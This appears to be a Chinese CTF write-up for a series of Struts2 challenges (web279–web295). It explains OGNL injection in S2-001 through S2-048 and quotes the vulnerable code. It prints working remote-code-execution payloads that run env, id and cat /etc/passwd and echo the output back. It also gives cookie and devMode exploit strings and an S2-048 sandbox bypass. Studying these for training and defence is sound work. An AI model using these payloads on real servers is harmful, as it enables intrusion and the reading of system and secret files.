web279

点进去发现一个登录框

没思路 看wp

了解下

Struts2是用Java语言编写的一个基于MVC设计模式的Web应用框架

描述:

struts2漏洞 S2-001是当用户提交表单数据且验证失败时,服务器使用OGNL表达式解析用户先前提交的参数值,%{value}并重新填充相应的表单数据。例如,在注册或登录页面中。如果提交失败,则服务器通常默认情况下将返回先前提交的数据。由于服务器用于%{value}对提交的数据执行OGNL表达式解析,因此服务器可以直接发送有效载荷来执行命令。

在这里提到了 OGNL 表达式

OGNL(Object-Graph Navigation Language)是一种用于在Java应用程序中访问和操作对象图的表达式语言。OGNL最初是由Drew Davidson和Luke Blanshard开发的,主要用于Java的对象属性访问和修改,类似于其他表达式语言如JSTL、EL等。OGNL表达式可以用来简化对复杂对象结构的访问和操作,非常适合于MVC框架中绑定表单数据到模型对象的场景

OGNL 表达式的基本功能

    1. 对象属性访问:使用.(点号)访问对象的属性。例如,person.name 可以获取person对象的name属性。
    2. 集合和数组访问:OGNL 支持通过索引访问集合和数组中的元素。例如,list[0] 可以访问列表中的第一个元素。
    3. 方法调用:OGNL 可以调用对象的方法。例如,person.getName() 可以调用person对象的getName()方法。
    4. 操作符支持:OGNL 支持多种操作符,例如算术操作符(+, -, *, /),逻辑操作符(&&, ||),比较操作符(==, !=, >, <)等。
    5. 上下文变量:OGNL 支持通过 # 访问上下文变量。例如,#root 访问当前的根对象,#this 访问当前的对象。
    6. 表达式求值:可以使用OGNL表达式直接求值或进行复杂的逻辑运算。

我们在这里简单的了解下这个表达式

如何分辨这种类型的漏洞的

1.常见的action.do后缀结尾
2.user!list.action带感叹号式
3.test?actionErrors=11111111111404/500响应并目页面打印11111111111
4.后缀不带action do,不能说明不是struts2

s2-001是一个struts2命令执行漏洞编号,漏洞介绍:https://www.freebuf.com/column/224041.html

漏洞部分代码

public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) {
Object result = expression;

while(true) {
int start = expression.indexOf(open + "{");
int length = expression.length();
int x = start + 2;
int count = 1;

while(start != -1 && x < length && count != 0) {
char c = expression.charAt(x++);
if (c == '{') {
++count;
} else if (c == '}') {
--count;
}
}

int end = x - 1;
if (start == -1 || end == -1 || count != 0) {
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}

String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType);
if (evaluator != null) {
o = evaluator.evaluate(o);
}

String left = expression.substring(0, start);
String right = expression.substring(end + 1);
if (o != null) {
if (TextUtils.stringSet(left)) {
result = left + o;
} else {
result = o;
}

if (TextUtils.stringSet(right)) {
result = result + right;
}

expression = left + o + right;
} else {
result = left + right;
expression = left + right;
}
}
}//这段代码的核心流程就是不断在 expression 中查找占位符 {},解析变量并替换成对应的值。如果提供了 evaluator,还会对找到的值进一步处理。最终返回的结果是替换后的完整字符串或对象,并且可以根据需要转换成指定类型。
int start = expression.indexOf(open + "{");//尝试在字符串 expression 中找到一个复合字符串的起始位置,该复合字符串是由变量 open 和 "{" 组合而成的。
Object o = stack.findValue(var, asType);

简单来说就是你输出给password的是OGNL 表达式 这样一大串代码会直接执行你的代码

例如我们执行一个**%{1-1}**

发现回显一个0

根据上面的OGNL 表达的用法(用下wp的payload)参考:https://blog.csdn.net/q20010619/article/details/120729447

// 获取tomcat路径
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

// 获取web路径
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

// 命令执行 env,flag就在其中
password=%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}&username=1

web280

这个漏洞有个检测工具后

下载地址:https://github.com/abc123info/Struts2VulsScanTools/releases

S2-003

Struts2将HTTP的每个参数名解析为ognl语句执行,而ognl表达式是通过#来访问struts的对象,Struts2框架虽然过滤了#来进行过滤,但是可以通过unicode编码(u0023)或8进制(43)绕过了安全限制,达到代码执行的效果

影响版本:Struts 2.0.0 - Struts 2.0.11.2

S2-005

S2-005和S2-003的原理是类似的,因为官方在修补S2-003不全面,导致用户可以绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成的漏洞,可以说是升级版的S2-005是升级版的S2-003

Struts2框架在处理表单数据时,会将表单数据绑定到Action对象的相应属性上。攻击者可以通过在表单中提交特定的字符串,从而绕过Struts2的安全过滤机制,直接执行任意代码

工具展示

web281

工具解决即可

了解下漏洞S2-007

当用户提交 age 为字符串而非整形数值时,后端用代码拼接 "'" + value + "'" 然后对其进行 OGNL 表达式解析。要成功利用,只需要找到一个配置了类似验证规则的表单字段使之转换出错,借助类似 SQLi 注入单引号拼接的方式即可注入任意 OGNL 表达式。

age 框执行了命令

web282

S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,正如 kxlzx 所提这种情况在生产环境中几乎不可能存在,因此就变得很鸡肋的,但我认为也不是绝对的,万一被黑了专门丢了一个开启了 debug 模式的应用到服务器上作为后门也是有可能的。
姿势1:cookie

Cookie:('#_memberAccess.setAllowStaticMethodAccess(true)')(1)(2)=Aluvion; ('@java.lang.Runtime@getRuntime().exec("calc")')(1)(2)=Twings;

姿势2:调试模式

devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27env%27%29.getInputStream%28%29%29)

web283

漏洞原理:

Struts2对s2-003的修复方法是禁止静态方法调用,在s2-005中可直接通过OGNL绕过该限制,对于#号,同样使用编码\u0023或\43进行绕过;于是Struts2对s2-005的修复方法是禁止\等特殊符号,使用户不能提交反斜线。

但是,如果当前action中接受了某个参数example,这个参数将进入OGNL的上下文。所以,我们可以将OGNL表达式放在example参数中,然后使用/helloword.acton?example=&(example)(‘xxx’)=1的方法来执行它,从而绕过官方对#、\等特殊字符的防御。

访问http://your-ip:8080/ajax/example5.action即可访问该控制器。按照原理中说到的方法,将OGNL利用代码放在name参数里

poc

?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true

工具直接出

web284

由url可以得知漏洞是S2-012

漏洞原理:

如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,例如:、

/index.jsp?name=${name} /index.jsp /index.jsp 这里 UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。

poc:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}


web285

Struts2 标签中 <s:a> 和 <s:url> 都包含一个 includeParams 属性,其值可设置为 none,get 或 all,参考官方其对应意义如下:

none - 链接不包含请求的任意参数值(默认)
get - 链接只包含 GET 请求中的参数和其值
all - 链接包含 GET 和 POST 所有参数和其值
<s:a>用来显示一个超链接,当includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。在放置参数的过程中会将参数进行OGNL渲染,造成任意命令执行漏洞。
poc:

${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}

// 或

${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}

感觉工具都能直接写出来 后面的就不写了

web295:S2-048

poc:%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}